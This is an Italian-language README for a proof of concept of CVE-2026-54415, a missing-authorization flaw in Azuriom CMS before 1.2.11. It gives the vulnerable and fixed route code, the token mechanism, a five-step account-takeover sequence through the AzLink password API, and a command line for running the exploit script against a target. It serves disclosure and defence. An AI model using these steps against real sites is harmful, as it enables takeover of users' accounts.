
PoC per CVE-2026-54415 — Azuriom CMS (<1.2.11) Controllo degli accessi non corretto → compromissione dell'account
L'autorizzazione mancante sulle route di gestione dei server del pannello di amministrazione in Azuriom CMS < 1.2.11 consente a qualsiasi amministratore con privilegi limitati (in possesso della sola autorizzazione admin.access) di generare un token server AzLink e di compromettere qualsiasi account non amministratore.
| CVE | CVE-2026-54415 |
| Prodotto | Azuriom CMS |
| Versioni vulnerabili | < 1.2.11 |
| Corretto in | 1.2.11 — commit 4b744bc |
| CWE | CWE-862 (Missing Authorization), CWE-269 (Improper Privilege Management) |
| CVSS 3.1 | 8.1 Alto — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| CVSS 4.0 | 8.6 Alto — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
Questo PoC è pubblicato a scopo difensivo ed educativo e riguarda una versione già corretta. Eseguilo solo su sistemi di tua proprietà o per i quali hai ricevuto esplicita autorizzazione al test. Aggiorna ad Azuriom
1.2.11+.
✅ Verificato end-to-end su un'istanza locale di Azuriom 1.2.10 — bypass del controllo di accesso, generazione del token, modifica della password confermata + login della vittima e confine di protezione degli admin.
In routes/admin.php l'intero pannello di amministrazione è protetto da un unico gruppo can:admin.access e per ogni funzionalità sensibile ci si aspetta che venga aggiunto un middleware granulare can:admin.* dedicato. Prima della 1.2.11, le route di gestione dei server erano distribuite senza alcun middleware di questo tipo:
// routes/admin.php (vulnerable, < 1.2.11)
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
Qualsiasi utente che riesca ad accedere al pannello di amministrazione (admin.access) può quindi creare server. L'autorizzazione admin.servers non esisteva affatto — è stata creata solo con la correzione.
Il vendor ha creato una nuova autorizzazione admin.servers e ha racchiuso le route al suo interno:
// routes/admin.php (fixed, 1.2.11)
Route::middleware('can:admin.servers')->group(function () {
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
});
Lo stesso commit ha inoltre aggiunto i controlli di autorizzazione precedentemente mancanti alle route social-links e pages/posts.attachments.
La creazione di un server genera un token server di 32 caratteri (app/Http/Controllers/Admin/ServerController.php):
$server = new Server([...$request->validated(), 'token' => Str::random(32), ...]);
Questo token autentica l'API AzLink (routes/api.php), il cui middleware VerifyServerToken considera attendibile qualsiasi richiesta che trasporti un header Azuriom-Link-Token valido. AzLink espone endpoint di gestione degli account:
POST /api/azlink/password → change a user's password by game_id
POST /api/azlink/email → change a user's email by game_id
POST /api/azlink/register → create users
POST /api/azlink/user/{id}/money/{add,remove,set}
updatePassword rifiuta l'operazione solo quando il destinatario isAdmin() — ogni account non admin può essere compromesso:
public function updatePassword(Request $request) {
// validates game_id + password
$user = User::where('game_id', $request->input('game_id'))->firstOrFail();
if ($user->isAdmin()) { return response()->noContent(); } // only admins are protected
$user->update(['password' => $request->input('password')]);
...
}
La creazione del server chiama $server->bridge()->verifyLink() prima del salvataggio. Per il tipo mc-azlink questa operazione restituisce sempre true:
// app/Games/Minecraft/Servers/AzLink.php
public function verifyLink(): bool { return true; }
Pertanto l'attaccante fornisce un qualsiasi address fittizio, il server viene comunque salvato e il nuovo token viene visualizzato nel pannello all'interno del comando di configurazione di AzLink (/azlink setup <url> <token>).
1. Authenticate as a low-priv admin (only admin.access — NO admin.servers, which didn't exist)
2. POST /admin/servers name=x&type=mc-azlink&address=127.0.0.1 → server saved, token minted
3. GET /admin/servers/{id}/edit → read token from setup command
4. POST /api/azlink/password (header Azuriom-Link-Token: <token>) game_id=<victim>&password=<new>
5. Log in as the victim → full account takeover
python3 poc.py \
--url https://target.example \
--admin-user lowpriv_admin --admin-pass 'password' \
--victim-game-id 1001 \
--new-password 'Pwn3d!TakenOver'
Lo script effettua il login, genera un token server, lo estrae, reimposta la password della vittima tramite AzLink e stampa il token + il risultato. Vedi poc.py --help per tutti i flag. Richiede requests (pip install requests).
1.2.11 o versioni successive.admin_servers e revoca qualsiasi token server inatteso.admin.access.1.2.11MIT — solo per test di sicurezza autorizzati e ricerca.